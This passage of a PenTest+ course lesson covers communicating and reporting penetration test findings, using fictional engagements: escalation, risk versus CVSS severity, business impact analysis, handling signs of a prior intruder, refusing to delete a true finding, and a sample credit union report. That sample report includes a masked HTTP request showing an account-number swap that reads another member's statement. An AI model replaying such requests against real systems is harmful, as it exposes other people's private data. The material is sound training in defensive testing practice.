- the next status report for the rest
As PTES puts it, "An ignored customer is a former customer."
How bad is it? Three answers: severity, impact and risk
Ruiz asks exactly that. Articulation of risk, severity and impact, the exam's phrase, means answering each one separately, in words the listener can act on.
| Word | What it measures | For the export files |
|---|---|---|
| Severity | How bad the flaw is in itself, anywhere (CVSS, Lessons 14 and 28) | 8.7, High: anyone can read, not change |
| Impact | What using the flaw would do to this business | 31 days of customer bank details: notices to customers, possible breach duties, lost trust |
| Risk | Likelihood and impact together; the client owns the decision | High: no skill needed, reachable now, earlier access unknown |
The Forum of Incident Response and Security Teams (FIRST), which maintains CVSS, says the base score measures severity and should not be used alone to assess risk. NIST SP 800-30 describes risk as typically a function of adverse impact and likelihood, and a risk matrix draws that function as a grid. Compare two answers to Ruiz:
Directory listing enabled on portal host, CVSS 8.7. Recommend remediation.
Anyone on the internet can download 31 days of customer bank details without logging in. We proved read access on five rows; we do not know whether anyone else has taken them. If they have, your contracts and possibly breach law require notices. Blocking the path should take minutes, and your own planning allows the portal 72 hours of downtime, so there is room to act tonight.
The second version separates what you proved from what you do not know: "unknown" is a legitimate word, while "no evidence of compromise" is a claim you can make only if you looked. Fit it to the listener: a duty manager needs a decision, a CIO needs business terms, and the administrator making the fix needs the technical detail.

US gov - Public domain - Wikimedia Commons
A level 3 typed as a level 2: First American, 2019
The public record shows these sentences failing inside one company. In a settled order of 14 June 2021, in which First American Financial neither admitted nor denied the findings, the US Securities and Exchange Commission (SEC) described an internal penetration test reported on 11 January 2019. One flaw was rated "serious", level 3: changing a document number in a web address opened other people's documents without a login (Lesson 18 looks at it from the application side). Then, according to the order:
- The rating changed. Level 3 meant "medium risk" and 45 days to fix. A clerical error entered it as level 2, "low risk", 90 days, with a deadline of 8 May 2019.
- No risk decision was made. Policy required a waiver or risk acceptance from the CISO if a fix was not possible or cost too much. The remediation owner did not request one.
- The people carrying the risk heard last. On 24 May 2019 a journalist reported over 800 million exposed document images going back to 2003. Only then did the CISO learn of the January report, and the executives responsible for the public statements were not told before those went out.
The company was ordered to pay a $487,616 penalty for failing to maintain disclosure controls; the order judges those controls, not the test. A tester can still learn from it: the report reached security managers, remediation staff and the application's remediation owner, yet not the CISO. When you hand over a finding, check that the rating survived the trip and ask who else needs to know.
Stakeholder alignment: one finding, four different worries
By 8 a.m. the export files have split the client. Ruiz wants the portal back for the day shift. Okafor wants the logs read first. The company's lawyer wants nothing more in writing until she has seen it. The sales director wants to know what to tell customers. Stakeholder alignment means that everyone who can affect the test or be affected by it has agreed its goals, timing, triggers and decision makers before a morning like this. It also means they hear again when any of those changes.
| Stakeholder | Needs from you | If you skip them |
|---|---|---|
| Executive sponsor | Agreed goals; risk in business terms | Nobody with authority when you need a decision |
| Security team and security operations center (SOC) | Test addresses, windows, daily activity | False alarms, or a real alarm dismissed as "probably the testers" |
| IT operations | Windows, stop conditions, what might break | Your scan meets their month-end run |
| Legal and compliance | What goes in writing, and to whom | A legal clock starts and nobody knows |
| Business owners | A say in what matters most | You test what is easy, not what matters |
| Third parties, such as a hosting provider | Notice and written permission (Lesson 3) | You test someone who never agreed |
Alignment leaves paper behind: kickoff notes recording goals, success criteria, contacts and the status schedule. A power-interest grid helps sort who needs what. Alignment does not mean telling everyone everything: in a covert test, NIST SP 800-115 notes, upper management knows and IT staff do not.

Peter Gladdish - CC BY 4.0 - Wikimedia Commons
Business impact analysis: the client's price list for downtime
First, a correction. CompTIA's acronym list expands BIA as "Business Intelligence Analytics". That is a slip: objective 1.2 means business impact analysis, and so does this course.
A BIA is the client's own study of which processes matter most and what losing them would cost. NIST SP 800-34 Rev. 1 gives three steps: determine the processes, their outage impacts and tolerable downtime; identify the resources needed to resume them; and set recovery priorities. NIST IR 8286D extends the idea to any type of loss. You rarely write one; you ask for it, and you handle it as sensitive because it ranks what would hurt most. Know NIST's three measures:
- Maximum tolerable downtime (MTD): the total outage a process's owner is willing to accept.
- Recovery time objective (RTO): how long a system can stay down before the impact becomes unacceptable; normally shorter than the MTD.
- Recovery point objective (RPO): the point in time to which data can be restored, which says how much data loss the process can tolerate.
Here is a worked question in the style of a performance-based item. On night four two findings are open and the CIO has time for one tonight. Which goes first, and why?
| Process | MTD | RTO | RPO | Cost of losing it |
|---|---|---|---|---|
| Freezer temperature alarms (ColdWatch) | 4 hours | 1 hour | 15 minutes | Stock loss up to $2.1 million per freezer hall |
| Customer portal | 72 hours | 24 hours | 24 hours | Complaints; contract notices if data leaks |
| Canteen menu (menu server) | 14 days | 5 days | 7 days | Minor |
| ID | Finding | CVSS base score | What it can reach |
|---|---|---|---|
| F-03 | Menu server: anyone can take full control, no login needed | 9.3, Critical | Nothing: alone on a guest network, holds no data |
| F-05 | ColdWatch: any warehouse staff login can change freezer alarm thresholds | 7.1, High | The alarms themselves; logins are shared on floor tablets |
- Read severity. F-03 wins by 2.2 points.
- Read impact from the BIA. Lose the menu server and the business can wait 14 days. Silence a freezer alarm and it has four hours before a problem of up to $2.1 million.
- Read likelihood. F-03 needs no login but leads nowhere. F-05 needs a login, and shared tablets make that a small barrier.
- Answer. F-05 first: "A staff login can silence the freezer alarms, and the business can bear four hours of that at most. The menu server scores higher, but nothing depends on it."
Now change one fact. Sam finds the menu server sits on the ColdWatch network segment and shares its local administrator password with the ColdWatch host. The scores do not move, but F-03 now needs no login and reaches the freezer alarms, so it goes first, and the two findings merge into one attack path (Lesson 14). If a client has no BIA, ask what must never stop, how long it could survive without it, and how much recent data it could lose.
In short: a base score describes the flaw, a BIA describes the client, and risk needs both.

Own work - CC BY 4.0 - Wikimedia Commons
Night six: an account that is not on your record
Monday 21 September, 23:40. On fs-02, an in-scope file server, the read-only account the ROE allows returns this:
Local administrators: Administrator, kp-admin, svc_backup2
svc_backup2 created: 2026-08-26 03:41, 19 days before our first packet on 2026-09-14
Scheduled task: "DiskCheckWeekly", added 2026-08-26 03:44, runs as svc_backup2
Outbound, last 7 days: 14 sessions from fs-02 to 198.51.100.77:443, all between 03:00 and 04:00
First rule yourself out. Your team's record of everything it creates shows no such account, and the dates come before your first packet. These are indicators of prior compromise. NIST SP 800-115 says to report an adversary's presence immediately to the right person, follow the ROE, and stop assessing the systems involved while the organization responds. The helpful-looking moves are the dangerous ones.
| In the next ten minutes | Why |
|---|---|
| Stop work on fs-02 and note the time | Your traffic would muddy what responders must read |
| Leave the account and task alone; do not ping or look up the address | A 2020 joint advisory from the US Cybersecurity and Infrastructure Security Agency (CISA) and four other nations' cyber authorities lists early fixes, blocks, credential resets and even a ping of the adversary's infrastructure as common mistakes: they can destroy volatile evidence or warn the intruder |
| Save and hash your logs; hold any data destruction | They separate your actions from the intruder's. NIST SP 800-61 Rev. 3 treats incident data as evidence even when no prosecution is expected |
| Phone Okafor, who leads incidents. No email, chat or ticket | An intruder may read those; the advisory says to keep communications out of band |
| Resume only on written word from the person the ROE names | NIST wants the plan to say whether testing stops, when it restarts and by whose authority |
The call keeps its shape. Its Ask line becomes Please do not reply by email or ticket. How do you want us to proceed? and its Next line says what you did not do: We stopped on fs-02 at 23:52, changed nothing and did not contact that address.
Now change one fact. Okafor checks the change records at 00:30: svc_backup2 and the task belong to a backup migration, and the address is the backup vendor's. You resume on her written word and report an undocumented administrator account as an ordinary finding. Your first ten minutes were not wasted, because only someone with the client's records could tell which situation you were in. Deciding "it says backup, so it is fine" on your own is the mistake: intruders choose names too.
The question can also come from the other side. The SOC phones at 03:40: "Is this you?" That check is deconfliction, and you answer from your log of addresses and times. "Yes" saves a night of false alarm; "no" tells them it is real.
Goal reprioritization: night seven, and the sponsor wants the hours elsewhere
Tuesday 22 September. Voss now wants the last three nights spent on the portal, not the planned warehouse system tests. That is goal reprioritization: changing what the test concentrates on because a finding, a business event, an incident or a dead end has changed what matters. The trap is letting it slide into a scope change, so hold each request against the signed boundary.
| Request | In the signed scope? | What you need |
|---|---|---|
| "Spend the last three nights on the portal." | Yes | A written note from the sponsor named in the ROE; everyone affected told |
| "And while you are there, try the payment processor's API." | No: another company's system | A signed amendment to the statement of work (SoW) and ROE, plus the processor's written permission, before any packet |
Both requests came in one phone call, yet the second flips the answer. A sponsor's word can move the goal. It cannot move the boundary or authorize testing of someone else's system; the courthouse arrests in Lesson 3 turned on a similar gap in authority. Here is the first request on paper:
Change note 2, KP-2026-11, 22 Sep 2026. Approved by M. Voss (sponsor), signed email
Goal 3 (warehouse system, three nights) replaced by: customer portal and its login, three nights
Scope, hours and test window unchanged
Test cases WM-04 to WM-09 will not be run; they go in the report's limitations
Told: L. Okafor, D. Ruiz, IT operations, our engagement manager
The hours are fixed, so when the goal moves something falls off, and the note says what. Testers can propose a change too, but the sponsor decides.

Mapto - Public domain - Wikimedia Commons
Root cause analysis: asking why until the client can change the answer
Ruiz blocked the export path at 02:58. Is it fixed? The hole is closed, but the nightly job still runs. A finding names a symptom; root cause analysis asks what allowed it. The usual teaching form is the five whys, where five is a habit and not a rule. Talking to Ruiz and the finance team gives this chain:
| Why? | Answer | Level |
|---|---|---|
| Why could anyone read the files? | They sat in a web folder with listing turned on | Symptom: the finding |
| Why were they there? | A nightly job writes exports where finance can fetch them | Direct cause |
| Why that way? | Finance needed a download, and no approved way to move files existed | Contributing cause |
| Why did nobody catch it? | Portal changes are never reviewed for where data goes | Process gap |
| Why not? | Nobody owns customer data flows | Root cause |
Stop at something the client can change that would also prevent this finding's cousins, and never stop at a person: "the admin forgot" is a place to ask another why. Then test your answer. An old cleartext file share used by finance and an unmasked customer database in a test system share this root cause. So three symptoms get one recommendation: name an owner and add a data-flow question to change control.
NIST SP 800-115 calls identifying root causes key, because they often trace to program-level weaknesses such as insufficient patch management, missing security baselines, inadequate training or weak policy enforcement. An Ishikawa diagram, or fishbone, does the same work visually. You see only a slice of the organization, so write "apparent root cause" until the client confirms it. Lesson 29 turns the cause into a fix.

DanielPenfield - CC BY-SA 3.0 - Wikimedia Commons
Secure distribution: your draft is a map of the client's weak points
Everything so far has produced sensitive paper. NIST SP 800-115 makes storing it securely the assessors' responsibility, warns that its release can increase the likelihood of exploitation, and wants the ROE to set how results travel. Secure distribution is the whole chain: who may receive what, how it is protected, and the record that proves it.
| Item | Goes to | How |
|---|---|---|
| Export evidence, values masked, 17 Sep | Ruiz, Okafor | Client's secure portal, named accounts; passphrase by phone |
| Intruder note, fs-02, 21 Sep | Okafor only | Phone first; encrypted file handed over in person, signed for |
| Draft 0.9, full report, 5 Oct | Okafor, Voss | Encrypted file; passphrase by phone |
- Encrypt the file, not only the pipe. NIST lists encrypted files, encrypted channels and delivered copies as options. Transport Layer Security (TLS) protects a report only in transit; an encrypted file stays protected after forwarding. Pretty Good Privacy and GnuPG do this for email, though PTES warns that subject lines stay in plaintext. Send the key another way: with the passphrase in the same mail thread, anyone reading that mailbox has both.
- Name every recipient and log every version. Anyone new needs the client's written approval, so send a curious auditor to the client. If a copy leaks, the log shows who held it.
- Cut each copy to need. Mask secrets and customer values, and let the summary travel further than the detail.
- Know when the circle shrinks. An incident moves everything out of band. A mis-sent report is itself an escalation, so phone the path at once. Lesson 26 covers destroying these files afterward.

Massimo Barbieri - CC BY-SA 3.0 - Wikimedia Commons
"Please take F-07 out before the board sees it"
Thursday 8 October. Draft 0.9 has been with the client for three days when this arrives from the IT director, who is not the sponsor:
Draft looks fine except F-07, the unsupported firewall at the Ashford warehouse. The board meets on the 20th and I would rather not have that conversation. Please take it out of 1.0. No need to bring Marta into this. We can't sign acceptance until the draft is right.
Your evidence for F-07 is solid and Sam reviewed it. Separate what a client may change from what it may not.
| The client asks to | Answer, and how it appears in the report |
|---|---|
| Correct a wrong fact, with evidence | Yes: corrected, and noted in the version history |
| Add its own view or plan | Yes: a labeled management response under the finding |
| Live with the risk | Yes, if someone with authority signs: finding stays, status "risk accepted by [name], [date]" |
| Fix it and retest | Yes: finding stays, status "fixed, retested on [date]" |
| Lower the rating with no new facts | No: disagreement can go in the management response |
| Delete a true finding from a report that claims to be complete | No |
Risk acceptance is one of the five responses NIST SP 800-30 names (acceptance, avoidance, mitigation, sharing, transfer), and the decision belongs to the client. Deletion is different. CompTIA's Candidate Code of Ethics bars certified people from knowingly making a false or misleading statement to a client or a regulator, and a board reading a "complete" report without F-07 has been misled. "Client" here means the organization that signed, through the sponsor it named, not whichever employee is unhappy. So you tell your engagement manager the same day, and you reply:
I can't remove F-07 from a report that says it covers the whole scope. I can correct any fact you can show is wrong, print your management response, record a risk acceptance if the sponsor signs one, or mark it fixed once a retest confirms it. Our engagement manager is arranging a call with you and Marta Voss to settle which.
You do not write to the board or a regulator yourself: disagreement goes up through the contract, not around the client (Lesson 28). If you think a legal duty is involved, ask your own firm's lawyers.
Now change one fact. The director's next email attaches a change record: the Ashford firewall was replaced on 18 September, and your scan is dated the 15th. You retest, and the finding reads "fixed during the test; retested 9 October". Or suppose Sam finds the scanner misread the version: F-07 is then a false positive and it comes out, with the reason in the version history. Same request, opposite answer. The difference is evidence.
Client acceptance: what the signature does and does not mean
The director used acceptance as a lever, so know what it is. PT0-003 names client acceptance without defining it. The previous exam, PT0-002, listed it among post-report delivery activities. That points to the usual meaning: the client formally confirms that it received the deliverable and that it meets the contract, so the engagement can move toward close. Here is the record that settled this one:
Acceptance record, KP-2026-11
Deliverable: Report 1.0, delivered 16 Oct 2026
Accepted by: M. Voss, CIO and sponsor, 23 Oct 2026
Accepted as: meeting section 4 of the statement of work
Noted: F-07 remains open; risk accepted by M. Voss until 31 Mar 2027 (signed note attached)
Next: retest of F-01 to F-05 by 15 Jan 2027; working data destroyed 60 days after this date
Client acceptance concerns the deliverable: the person the contract names signs it, and every finding can still be open. Risk acceptance concerns one finding: someone with authority over that risk signs it, and the finding stays unfixed, usually until a review date. Neither certifies the company as secure. To remove the lever, write acceptance criteria into the SoW at the start: delivered, in the agreed format, covering the agreed scope, with an objection period. Whether the client likes a finding is not a criterion; a refusal to sign goes to the contract's dispute process, not to a quiet edit.
The nine activities, and the words that point to them
| Activity | The stem says | Do not confuse it with |
|---|---|---|
| Peer review | A second tester repeats the check before it goes to the client | Quality control, the gate on the finished report |
| Stakeholder alignment | Everyone affected agrees goals, windows and contacts at kickoff | Telling everyone everything |
| Root cause analysis | One weakness behind several findings | A separate fix for each symptom |
| Escalation path | Administrator rights on a critical system mid-test; the primary contact does not answer | The status report schedule |
| Secure distribution | Passphrase in the same email as the encrypted report | Believing encryption alone is enough |
| Articulation of risk, severity and impact | Explain the finding to the board | Reading out the CVSS vector |
| Goal reprioritization | The client moves effort to another in-scope system | A scope change, which needs an amendment |
| Business impact analysis | High score on an asset nobody depends on; how long can it be down (MTD); how much data can we lose (RPO) | Treating the base score as risk; RTO with RPO |
| Client acceptance | The client signs that the report meets the contract | Risk acceptance, a signed note about one finding, which stays in the report |
How the 2 a.m. finding and the call are reported
Communication during the test belongs in the final report, because it is part of what happened. Here is the finding as written:
- Title: Customer export files readable from the internet without login.
- Severity: High. CVSS base score 8.7 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N). No login or skill is needed and confidential data is exposed, but it gives no write access or control of the server, so it stays below Critical. Handled at call speed because ROE section 6 names exposed customer data as a trigger.
- Evidence: E-14: log lines 02:07 to 02:16, including the second tester's reproduction. Five rows viewed, no values copied.
- Root cause: no owner for customer data flows and no data-flow review in portal change control; confirmed with client staff on 18 September.
- Remediation: keep the path blocked (done 02:58); move exports to an authenticated transfer service; turn off directory listing; review 31 days of access logs; name a data-flow owner and add the question to change control.
- Notification timeline: found 02:07; peer reviewed 02:16; Ruiz reached 02:21; evidence delivered 02:40; path blocked 02:58.
A report that may travel widely should not carry a live incident's detail. It states that testing on fs-02 stopped on 21 September at the client's direction, lists that under limitations, and points to the client's incident record, in wording agreed with the client's lawyers. Lesson 28 covers the full structure.
Common misconceptions
- "A serious finding can wait for the final report." Critical findings go to the named person as soon as they are confirmed.
- "The CVSS score is the risk." The base score measures severity. Risk also needs likelihood and this client's impact.
- "The client pays, so the client can have a finding removed." It can correct facts, respond, accept the risk, or fix and retest.
- "Client acceptance means the client accepts the risks." It accepts the deliverable. Risk acceptance is a separate, signed decision.
Looking back
- Peer review is a second tester independently checking one finding during the test; quality control is the later gate on the finished report.
- An escalation path names the order, two ways to reach each person, the wait and who can decide what; a call carries who, what, proof, unknown, ask and next.
- Severity describes the flaw, impact describes this business, and risk combines impact and likelihood; FIRST says the CVSS base score should not be used alone to assess risk.
- BIA means business impact analysis. MTD is the tolerable outage, RTO the system's recovery limit, and RPO the tolerable data loss.
- On signs of an intruder, stop on the systems involved, change nothing, save and hash your logs, phone out of band, and resume only on written word.
- Goal reprioritization needs a written note from the named sponsor and lists dropped tests as limitations; a target outside signed scope needs an amendment and, for a third party, its own permission.
- Root cause analysis stops at something the client can change that would also prevent similar findings, and never at a person.
- Secure distribution means named recipients, encrypted files, the key sent by another channel, and a log of versions.
- A client may correct facts, respond, accept risk, or fix and retest, but may not delete a true finding from a report that claims to be complete. Client acceptance confirms the deliverable; risk acceptance concerns one finding.
Sources
- CompTIA. (2023). CompTIA PenTest+ PT0-003 V3 certification exam: Exam objectives (Version 5.0), objective 1.2 and acronym list. PT0-003 objectives; also the PT0-002 objectives (Version 4.0; objective 4.4) and the Candidate code of ethics
- Scarfone, K., Souppaya, M., Cody, A., and Orebaugh, A. (2008). Technical guide to information security testing and assessment (NIST SP 800-115), sections 2.4.2, 6.5 and 7.1-7.4. NIST. nvlpubs.nist.gov (PDF)
- The PTES Team. (n.d.). Pre-engagement interactions. In Penetration Testing Execution Standard (unofficial mirror; the official site is pentest-standard.org). pentest-standard.readthedocs.io
- Swanson, M., Bowen, P., Phillips, A. W., Gallup, D., and Lynes, D. (2010). Contingency planning guide for federal information systems (NIST SP 800-34 Rev. 1), section 3.2. NIST. nvlpubs.nist.gov (PDF); Quinn, S., et al. (2025). Using business impact analysis to inform risk prioritization and response (NIST IR 8286D, Update 1). csrc.nist.gov
- Joint Task Force Transformation Initiative. (2012). Guide for conducting risk assessments (NIST SP 800-30 Rev. 1), sections 2.3 and 2.4. NIST. nvlpubs.nist.gov (PDF)
- Forum of Incident Response and Security Teams. (2024). Common Vulnerability Scoring System version 4.0: Specification document (document version 1.2), with the User guide; the reference calculator scored this lesson's fictional findings. specification; user guide
- U.S. Securities and Exchange Commission. (2021). In the matter of First American Financial Corporation (Release No. 92176). sec.gov (PDF)
- Cybersecurity and Infrastructure Security Agency, et al. (2020). Technical approaches to uncovering and remediating malicious activity (Alert AA20-245A). cisa.gov
- Nelson, A., Rekhi, S., Souppaya, M., and Scarfone, K. (2025). Incident response recommendations and considerations for cybersecurity risk management (NIST SP 800-61 Rev. 3). NIST. csrc.nist.gov
- Key terms
- Peer review
- A check of a finding by another qualified tester during an engagement: reproducing it, confirming it is in scope and testing its rating before it leaves the team.
- Stakeholder alignment
- Getting everyone who can affect a test, or be affected by it, to agree its goals, timing, triggers and decision makers.
- Root cause analysis
- Tracing a finding past its symptom to the process or design failure that allowed it, so that one fix also prevents similar findings.
- Escalation path
- The agreed, ordered list of who to contact when something cannot wait, how to reach them, how long to wait and what each person can decide.
- Deconfliction
- Checking whether suspicious activity belongs to the test team before treating it as a real attack, usually by comparing it with the testers' log.
- Secure distribution
- Getting sensitive test results only to named recipients, protected in storage and in transit, with a record of who received which version.
- Business impact analysis
- An organization's study of which processes matter most, what disruption would cost and how long each can be down; abbreviated BIA.
- Goal reprioritization
- Changing what a penetration test concentrates on during the engagement, inside the signed scope, with a written record of what will no longer be done.
- Client acceptance
- A client's formal confirmation that a deliverable was received and meets the contract; it does not mean findings are fixed or risks accepted.
- Risk acceptance
- A decision by someone with authority to live with a stated risk; it is recorded against the finding, which stays in the report.
The Report Is the Product: Components, Risk Scoring, and Quality Control
- Name every component of a penetration test report, the reader it serves and the question it answers.
- Align a report with its SoW or PWS, define its ratings, and score a finding with CVSS v4.0 while keeping severity and risk apart.
- Write detailed findings, an attack narrative, recommendations, limitations and assumptions, and an executive summary from evidence.
- Apply quality control and the legal, ethical and AI considerations before a report is released.
What is left when the testers go home
By Friday 19 June 2026, the two testers on the fictional Corvid Bay Credit Union engagement hold:
- 214 screenshots
- three Nmap XML files
- a folder of proxy logs
- a recorded moment when one test member's login fetched another test member's bank statement
The credit union's board will read one page of all that. Its developers will read about ten. Nobody outside the test team will ever open the screenshots folder.
So the report is the product. Once the testers' accounts are removed and their tools are gone, as Lesson 26 describes, it is the only thing left that can change anything. OWASP's testing guide says technical quality is "completely irrelevant if the client can't understand your findings".
This lesson shows one short, complete report, then walks the procedure that produced it, in the order a tester writes, which is close to the reverse of the order a client reads. Finally one fact changes, and you watch what moves. Corvid Bay is the made-up credit union scoped in Lesson 4, and every person, address and result below is fictional.
Exam objectives: 1.4 (format alignment, documentation specifications, risk scoring, definitions; the report components: executive summary, methodology, detailed findings, attack narrative, recommendations and remediation guidance; test limitations and assumptions; and the legal, ethical, quality control and artificial intelligence considerations in reporting).
| Component | Main reader | Question it answers |
|---|---|---|
| Executive summary | Board, executives | How bad is this for the business, and what must we decide? |
| Methodology | Security manager, auditors, the next tester | What was done, to what standard, and could it be repeated? |
| Definitions and risk scoring | Everyone | What does "High" mean in this report? |
| Test limitations and assumptions | Security manager, auditors | What could this test not see, and what did it take on trust? |
| Attack narrative | Security team, technical managers | How did the weaknesses connect into a path to the goal? |
| Detailed findings | Engineers | What exactly is wrong, why, and how will we prove it is fixed? |
| Recommendations and remediation guidance | Managers and engineers | What comes first, who owns it, and how is each flaw fixed? |
The finished report for Corvid Bay Credit Union
A real report runs far longer. This one keeps one example of every part, so you can see them together.
Cover and document control
Corvid Bay Credit Union: external, web, API and mobile penetration test. Report CB-2026-07, prepared by Ashgrove Security under statement of work SOW-26-014. Confidential: for the security manager, the chief information officer and the board risk committee only. Version 0.9, client factual review, 26 June 2026. Version 1.0, final, 3 July 2026.
Section 1: Executive summary
Corvid Bay asked whether members of its online banking service could see each other's data. They can. Using two test accounts the credit union created for us, we retrieved one test member's statement while logged in as the other (F-01). Nothing in the design limits this to our two accounts, and nothing raised an alert when we repeated it 200 times (F-02). We touched no real member's data.
We rate the overall risk High: statements hold names, addresses and transactions, and exposure could mean regulatory notification and lost member trust. Internet-facing systems are otherwise well maintained, and expired sessions were correctly refused. We recommend fixing F-01 within 14 days and adding monitoring within 30.
Section 2: Scope and methodology
Targets: 203.0.113.0/26; onlinebanking.corvidbay.example, by hostname only, because it sits behind a shared delivery network; api.corvidbay.example; app builds 4.2 for iOS and Android. Wireless results are in separate report CB-2026-08. Dates: 8-19 June 2026, 08:00-18:00 America/Chicago. Starting position: two test member accounts, no source code. Method: the planning, discovery, attack and reporting phases of NIST SP 800-115, with the OWASP Web Security Testing Guide and MASVS as test references. Tools: Nmap, Nikto, Burp Suite, ZAP, MobSF. All traffic came from 192.0.2.40, so it can be matched to client logs.
Section 3: Definitions
| Rating | CVSS v4.0 | What it means here | Target to fix |
|---|---|---|---|
| Critical | 9.0-10.0 | Member data or control of a system exposed with no login | 7 days |
| High | 7.0-8.9 | Member data exposed to anyone with an ordinary login | 14 days |
| Medium | 4.0-6.9 | Limited exposure, or a gap that makes another finding worse | 60 days |
| Low | 0.1-3.9 | Minor exposure with little direct effect | Next maintenance |
| Informational | None | An observation, not a vulnerability | Client's choice |
Where a finding is a missing control rather than a software flaw, the tester assigns a rating from the "what it means" column and states why. Member: a person who holds an account. Test member: an account created for this test.
Section 4: Test limitations and assumptions
Limitations. The rules of engagement excluded the core banking system and its databases, the outside bill-payment service, the colocation network 203.0.113.64/27, denial of service and social engineering. With only two test accounts, reach beyond them is inferred, not observed. Port 443 on 203.0.113.33 was filtered from our address, so what listens there is unknown. Results describe the systems on the test dates only.
Assumptions. App builds 4.2 match the store versions, and test accounts have the same permissions as ordinary member accounts; the client told us both, and we did not verify either.
Section 5: Attack narrative
| When | What the testers did | What it showed |
|---|---|---|
| Mon 8 June, 09:10 | Logged in to the app as test member A and recorded its traffic through a proxy | The app asks the API for statements by account number |
| Mon 8 June, 10:42 | Repeated A's request with only the account number changed to test member B's | The API returned B's May statement (F-01) |
| Tue 9 June, 14:05 | Repeated the request 200 times in ten minutes against the two test accounts | No throttling; no alert reached the monitoring team (F-02) |
| Tue 9 June, 14:30 | Stopped and called the security manager, as the escalation process requires, because any further step could only touch real members | Goal reached with test accounts; no real account requested |
| Wed 10 June, 11:15 | Replayed the request with an expired session token | Refused. This control worked |
Section 6: Findings summary
| ID | Title | Rating |
|---|---|---|
| F-01 | Any member can read another member's statements through the API | High (7.1) |
| F-02 | Statement requests are neither limited nor monitored | Medium (assigned) |
| F-03 | VPN portal at 203.0.113.12 still accepts TLS 1.0 | Medium |
| F-04 | Web server version shown in response headers | Low |
| F-05 | Staging API address left inside the app build | Informational |
Section 7: Detailed findings (F-01 and F-02; the other three are left out here)
F-01. Any member can read another member's statements through the API.
Rating: High. CVSS-B 7.1, CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N. With confidentiality requirement CR:H, because statements are sensitive, CVSS-BE is also 7.1.
Affected: api.corvidbay.example, the route /v2/accounts/{id}/statements/{period}.
Evidence: item E-07, excerpt below. The session belongs to test member A; account 100482 belongs to test member B.
GET /v2/accounts/100482/statements/2026-05 HTTP/1.1
Host: api.corvidbay.example
Authorization: Bearer [token removed]
HTTP/1.1 200 OK
{"account":"100482","holder":"TEST MEMBER B","period":"2026-05","balance":"[masked]"}
Impact: any logged-in member could read other members' names, addresses and transactions. Changes to data were not possible through this route.
Root cause: the API checks that a session is valid but not that its member owns the requested account (CWE-639; OWASP API1:2023, Broken Object Level Authorization).
Remediation guidance: enforce an ownership check on the server for every route that takes an account number, in one shared function; add an automated test that fails if one member can fetch another's data; review all other account routes for the same gap.
Retest: repeat E-07. Expected result: a 403 or 404 response and a logged denial.
Owner: API development lead. Target: 14 days.F-02. Statement requests are neither limited nor monitored.
Rating: Medium, assigned rather than scored, because this is a missing control and not a software flaw. Alone it exposes nothing. With F-01 it decides whether an abuser gets one statement or thousands before anyone notices. It falls to Low once F-01 is fixed.
Evidence: 200 requests in ten minutes, all answered 200 OK; the monitoring team confirmed no alert (ticket 88213).
Root cause: no per-session limit on this route, and statement access is not sent to the monitoring system.
Remediation guidance: add a per-session rate limit; log statement access; alert when one session reads more than one account.
Retest: repeat the burst. Expected result: throttling, and an alert within the agreed time.
Section 8: Recommendations
| When | Action | Addresses | Owner |
|---|---|---|---|
| Within 14 days | Ownership check on all account routes, then retest | F-01 | API lead |
| Within 30 days | Rate limit and monitor statement access | F-02 | Platform and monitoring leads |
| Within 60 days | Retire TLS 1.0; hide version headers; remove the staging address | F-03 to F-05 | Infrastructure lead |
| Within 90 days | Authorization tests in the release pipeline, to stop this class of flaw shipping again | Why F-01 happened | Head of development |
Appendices and statement of limits
Appendix A: evidence index. Appendix B: cleaned tool output. Appendix C: test cases with pass or fail. This test is a point-in-time assessment under the authorization dated 1 June 2026. It does not guarantee that no other weaknesses exist.
Step 1: Read the SoW or PWS before you choose a format
A report the contract did not ask for is a defect, however well it reads. Format alignment means shaping the report to what its readers, contract and regulators require. NIST SP 800-115 says a report with several audiences may need several formats, and gives federal FISMA reporting as an example. Corvid Bay's SoW asks for this full report and a two-page summary for its examiners. Another client might hand you its own template, and then you fill in that one, not your firm's.
Documentation specifications is a term CompTIA lists without defining. Read it as the written rules the deliverable must meet: required sections, file format, rating scale, evidence standard, version control, classification marking, number of drafts and due dates. The document-control block on Corvid Bay's cover exists because SOW-26-014 demanded it.
Lesson 3 introduced the statement of work. A performance work statement (PWS) is its results-first relative in US federal contracting. The Federal Acquisition Regulation (FAR) defines a PWS as "a statement of work for performance-based acquisitions", one that states required results in clear, specific and objective terms with measurable outcomes.
FAR 37.602 tells agencies to describe those results rather than how the work is done or how many hours it takes, and the FAR overhaul's Part 37 text keeps the idea.
A statement of objectives (SOO) is the government's shorter list of goals, from which a bidder proposes a PWS; the SOO itself does not become part of the contract.
| Document | What it fixes | A fictional clause about the report | What that means for the writer |
|---|---|---|---|
| SoW | The tasks, deliverables, dates and price | "Contractor will test the listed targets over ten business days and deliver one report and one two-page summary." | Deliver those documents on time |
| PWS | The required results and how they are measured | "Agency engineers can reproduce every finding rated High or above without help. Acceptance: three findings sampled and reproduced." | Write to the measure, because a finding nobody can reproduce can fail acceptance |
The upshot: the contract decides what the report must be. On the exam, tasks point to an SoW, measurable required results to a PWS.
Step 2: Define the ratings and score with CVSS v4.0
Readers compare ratings, and you will have to defend them, so agree the scale before the first finding. PTES places the scoring mechanism in the pre-engagement work and names FAIR, DREAD and custom rankings as options. Risk scoring then sits in the report's definitions section, with any terms a reader may not know.
For technical flaws the usual choice is the Common Vulnerability Scoring System (CVSS). When this lesson was checked on 3 November 2026, FIRST's site gave version 4.0 as current, with its specification document at version 1.2, dated 18 June 2024. Version 4.0 has four metric groups, and it names each score after the groups that went into it:
- CVSS-B (Base, the flaw's own characteristics)
- CVSS-BT (adds Threat: is it being exploited?)
- CVSS-BE (adds Environmental: this system, this data)
- CVSS-BTE (all three)
Vendors and databases such as NVD usually publish only CVSS-B, and the other two groups belong to the organization using the score.
A fourth group, Supplemental, adds context such as safety and does not change the score.
Read aloud, F-01's vector says:
- reachable from the internet (AV:N)
- no special conditions (AC:L, AT:N)
- an ordinary member login needed (PR:L)
- no victim action (UI:N)
- serious disclosure with no change or outage on the API itself (VC:H, VI:N, VA:N)
- no effect seen on other systems (SC:N, SI:N, SA:N)
FIRST's calculator code turns that into 7.1, which FIRST's scale calls High (Low 0.1-3.9, Medium 4.0-6.9, High 7.0-8.9, Critical 9.0-10.0).
